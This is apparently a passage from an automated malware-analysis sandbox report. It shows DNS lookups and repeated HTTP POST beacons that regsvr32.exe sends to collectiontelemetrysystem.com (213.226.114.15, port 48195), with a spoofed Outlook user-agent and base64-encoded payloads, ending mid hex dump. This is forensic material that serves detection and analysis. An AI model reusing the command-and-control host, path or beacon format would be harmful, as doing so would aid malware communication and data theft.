Jun 16, 2022 20:32:45.964694977 CEST	8.8.8.8	192.168.2.3	0xfc55	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:46.408233881 CEST	8.8.8.8	192.168.2.3	0x90d8	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:46.875786066 CEST	8.8.8.8	192.168.2.3	0x19d4	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

telemetrysystemcollection.com

collectiontelemetrysystem.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49763	213.226.114.15	443	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49770	213.226.114.15	443	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49828	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:13.820046902 CEST	10191	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:14.029311895 CEST	10192	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:13 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49829	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:14.285682917 CEST	10193	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:14.499317884 CEST	10193	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:14 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49830	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:14.734539032 CEST	10195	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:14.935549021 CEST	10195	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:14 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49831	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:15.180485964 CEST	10196	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:15.390458107 CEST	10197	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:15 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49832	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:15.624447107 CEST	10198	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:15.839869976 CEST	10198	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:15 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49833	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:16.351749897 CEST	10199	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:16.585522890 CEST	10200	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:16 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49834	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:16.846437931 CEST	10201	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:17.070890903 CEST	10201	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:16 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49835	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:17.309883118 CEST	10203	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:17.528513908 CEST	10203	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:17 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49836	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:17.775837898 CEST	10204	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:17.978204012 CEST	10205	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:17 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49837	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:18.210496902 CEST	10206	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:18.436817884 CEST	10206	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:18 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49900	213.226.114.15	443	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49838	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:18.671348095 CEST	10207	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 